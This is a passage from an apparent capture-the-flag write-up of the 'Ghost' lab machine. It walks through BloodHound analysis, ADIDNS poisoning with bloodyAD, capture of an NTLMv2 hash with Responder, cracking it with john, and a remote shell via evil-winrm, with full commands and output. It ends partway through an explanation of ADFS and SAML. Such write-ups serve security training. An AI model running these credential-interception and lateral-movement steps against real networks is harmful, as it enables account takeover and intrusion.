<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">netexec smb 10.129.231.105 -u florence.ramirez -k --use-kcache</span>
<span class="cmd-output">
SMB         10.129.231.105  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB         10.129.231.105  445    DC01             <span style="color: lightgreen;">[+] ghost.htb\florence.ramirez from ccache</span>
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<h3 id="bloodhound">BloodHound:</h3>

<p><code class="language-plaintext highlighter-rouge">florence.ramirez</code>is a member of the IT group, though it’s unclear what access it gives. Other than that, the user doesn’t seem have any useful privileges or outbound controls.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/bh_florence_groups.png?raw=true" alt="" /></p>

<p>Looking at other users, <code class="language-plaintext highlighter-rouge">justin.bradley</code> is in the Remote Management User group, and has an outbound control <code class="language-plaintext highlighter-rouge">ReadGMSAPassword</code> on <code class="language-plaintext highlighter-rouge">ADFS_GMSA$</code>.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/bh_justin_readgmsa.png?raw=true" alt="" /></p>

<p>He can also <code class="language-plaintext highlighter-rouge">PSRemote</code> on <code class="language-plaintext highlighter-rouge">DC01</code>. Interestingly this AD environment contains 2 domains: <code class="language-plaintext highlighter-rouge">ghost.htb</code> and <code class="language-plaintext highlighter-rouge">corp.ghost.htb</code>. I’ll revisit this later.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/bh_justin_psremote.png?raw=true" alt="" /></p>

<p>Regarding the <code class="language-plaintext highlighter-rouge">PSRemote</code> edge, according to <a href="https://bloodhound.specterops.io/resources/edges/can-ps-remote">BloodHound</a>:</p>

<blockquote>
  <p>PS Session access allows you to enter an interactive session with the target computer. If authenticating as a low privilege user, a privilege escalation may allow you to gain high privileges on the system. However, this edge does not guarantee privilege escalation.</p>
</blockquote>

<p>Basically it means the user can run code on the domain controller in the context of itself, which is not really helpful. However, it reminds me of a forum post on Intranet:</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/intranet_bitbucket.png?raw=true" alt="" /></p>

<p>Justin was complaining that his script was failing when trying to connect to <code class="language-plaintext highlighter-rouge">bitbucket.ghost.htb</code>. This is because the DNS entry has not been configured yet, and Kathryn suggested him to continue running the script as she’ll configure it very soon.</p>

<h3 id="adidns-poisoning">ADIDNS Poisoning:</h3>

<p>Given that Justin keeps attempting to run his script, if I can somehow add a DNS entry for <code class="language-plaintext highlighter-rouge">bitbucket.ghost.htb</code> pointing to my host, it would be possible to perform an <a href="https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/adidns-spoofing">ADIDNS poisoning</a> attack and intercept the traffic coming from his script, potentially also obtaining his NTLM hash.</p>

<p>By default, any domain users can create DNS entries that don’t already exist. With <code class="language-plaintext highlighter-rouge">florence.ramirez</code>’s creds, I’ll add the entry with <a href="https://github.com/CravateRouge/bloodyAD">bloodyAD</a>.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">bloodyAD --host dc01.ghost.htb -d ghost.htb -k add dnsRecord bitbucket 10.10.14.93</span>
<span class="cmd-output">
[+] bitbucket has been successfully added
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>I’ll also set up <a href="https://github.com/SpiderLabs/Responder">Responder</a> to listen for any incoming authentication requests, and after a minute or two Justin’s NTLM hash was captured.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo responder -I tun0</span>
<span class="cmd-output">
&nbsp;
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR &amp; MDNS Responder 3.1.5.0

  To support this project:
  Github -&gt; https://github.com/sponsors/lgandx
  Paypal  -&gt; https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


&lt;..SNIP..&gt;



[+] Listening for events...

[HTTP] NTLMv2 Client   : 10.129.231.105
[HTTP] NTLMv2 Username : ghost\justin.bradley
[HTTP] NTLMv2 Hash     : justin.bradley::ghost:fdf22ff8bdd82451:EE0761D82F8292&lt;..SNIP..&gt;
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>The hash is easily cracked by <code class="language-plaintext highlighter-rouge">john</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">john --wordlist=/usr/share/wordlists/rockyou.txt justin.bradley.hash</span>
<span class="cmd-output">
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<span style="color: lightgreen;">Qwertyuiop1234$$ (justin.bradley)     </span>
1g 0:00:00:04 DONE (2025-01-15 17:22) 0.2114g/s 2265Kp/s 2265Kc/s 2265KC/s RAHFIATUL..Q+1/3_Goy?
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>With the password, I can finally get a shell with <code class="language-plaintext highlighter-rouge">evil-winrm</code> and grab the user flag.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">evil-winrm -u justin.bradley -p 'Qwertyuiop1234$$' -i ghost.htb</span>
<span class="cmd-output">
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\justin.bradley\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami</span>

<span class="win-output">ghost\justin.bradley</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<h3 id="user-flag">User Flag:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC01</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\justin.bradley\Desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">type user.txt</span>

<span class="win-output">c8c250d6************************</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<hr />
<h2 id="escalation-from-justinbradley">Escalation from <code class="language-plaintext highlighter-rouge">justin.bradley</code>:</h2>
<h3 id="tcp8443---ghost-core">TCP8443 - Ghost Core:</h3>

<p>With domain creds, I thought I can access Ghost Core, but turns out it’s only available to Administrator.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/core_unauthorized.png?raw=true" alt="" /></p>

<p>I’ll look at the login flow in more details. In my Burp history, there’s a series of POST requests and redirections between <code class="language-plaintext highlighter-rouge">core.ghost.htb</code> and <code class="language-plaintext highlighter-rouge">federation.ghost.htb</code>.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/core_burp_flow.png?raw=true" alt="" /></p>

<p>To fully understand the authentication flow here, some background knowledge of ADFS and SAML is needed.</p>

<h3 id="adfs-and-saml-authentication">ADFS and SAML Authentication:</h3>

<p><a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/ad-fs-overview">Active Directory Federation Service (ADFS)</a> is a Microsoft identity service that enables SSO to third-party applications using domain credentials. It <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adfsod/7b6e4bb6-9e65-467f-a8bb-c7302a2e6de5">supports a few SSO protocols</a> such as WS-Federation — a legacy Microsoft protocol, OpenID Connect (OIDC) — a  modern standard widely adopted by applications, and Security Assertion Markup Language (SAML), which is used by Ghost Core.</p>

<p><a href="https://docs.secureauth.com/ciam/en/saml-single-sign-on--sso--flow.html">This page</a> gives a nice visualization of the SAML authentication flow. In our case, Ghost Core is the Service Provider, and ADFS is the Identity Provider. The whole flow can be broken down into the following steps:</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/saml_flow.png?raw=true" alt="" /></p>

<h6 id="1---accessing-the-service-provider"><u>1 - Accessing the Service Provider</u></h6>

<p>The flow initiates at the Ghost Core page when I click on “Login using AD Federation”.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/core_home.png?raw=true" alt="" /></p>

<h6 id="2---redirection-to-idp"><u>2 - Redirection to IDP</u></h6>

<p>A request is sent to <code class="language-plaintext highlighter-rouge">/api/login</code>, in which the application responds with 302 redirecting to <code class="language-plaintext highlighter-rouge">federation.ghost.htb/adfs/ls/</code> with a <code class="language-plaintext highlighter-rouge">SAMLRequest</code> token embedded in the URL.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/core_api_login.png?raw=true" alt="" /></p>

<h6 id="3-and-4---idp-authentication"><u>3 and 4 - IDP Authentication</u></h6>

<p>The resulting page is the ADFS login portal, where I’m asked to authenticate with domain credentials.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/adfs_login.png?raw=true" alt="" /></p>

<h6 id="5---idp-returns-saml-response"><u>5 - IDP Returns SAML Response</u></h6>

<p>Once ADFS validated my authentication request, it returns a <code class="language-plaintext highlighter-rouge">SAMLResponse</code> token:</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/core_saml_resp.png?raw=true" alt="" /></p>

<p>It’s basically base64-encoded XML data containing my identity.</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0"?&gt;</span>
<span class="nt">&lt;samlp:Response</span> <span class="na">xmlns:samlp=</span><span class="s">"urn:oasis:names:tc:SAML:2.0:protocol"</span> <span class="na">ID=</span><span class="s">"_352cb200-9e44-459c-a6fd-0b2caf873ff8"</span> <span class="na">Version=</span><span class="s">"2.0"</span> <span class="na">IssueInstant=</span><span class="s">"2025-05-21T13:44:50.893Z"</span> <span class="na">Destination=</span><span class="s">"https://core.ghost.htb:8443/adfs/saml/postResponse"</span> <span class="na">Consent=</span><span class="s">"urn:oasis:names:tc:SAML:2.0:consent:unspecified"</span> <span class="na">InResponseTo=</span><span class="s">"_48451e698d43e3c56a3ff258dc7c494616607987"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;Issuer</span> <span class="na">xmlns=</span><span class="s">"urn:oasis:names:tc:SAML:2.0:assertion"</span><span class="nt">&gt;</span>http://federation.ghost.htb/adfs/services/trust<span class="nt">&lt;/Issuer&gt;</span>
  <span class="nt">&lt;samlp:Status&gt;</span>
    <span class="nt">&lt;samlp:StatusCode</span> <span class="na">Value=</span><span class="s">"urn:oasis:names:tc:SAML:2.0:status:Success"</span><span class="nt">/&gt;</span>
  <span class="nt">&lt;/samlp:Status&gt;</span>
  <span class="nt">&lt;Assertion</span> <span class="na">xmlns=</span><span class="s">"urn:oasis:names:tc:SAML:2.0:assertion"</span> <span class="na">ID=</span><span class="s">"_03002929-93dd-4b76-8c52-822441c806f8"</span> <span class="na">IssueInstant=</span><span class="s">"2025-05-21T13:44:50.846Z"</span> <span class="na">Version=</span><span class="s">"2.0"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;Issuer&gt;</span>http://federation.ghost.htb/adfs/services/trust<span class="nt">&lt;/Issuer&gt;</span>
    <span class="nt">&lt;ds:Signature</span> <span class="na">xmlns:ds=</span><span class="s">"http://www.w3.org/2000/09/xmldsig#"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;ds:SignedInfo&gt;</span>
        <span class="nt">&lt;ds:CanonicalizationMethod</span> <span class="na">Algorithm=</span><span class="s">"http://www.w3.org/2001/10/xml-exc-c14n#"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;ds:SignatureMethod</span> <span class="na">Algorithm=</span><span class="s">"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"</span><span class="nt">/&gt;</span>
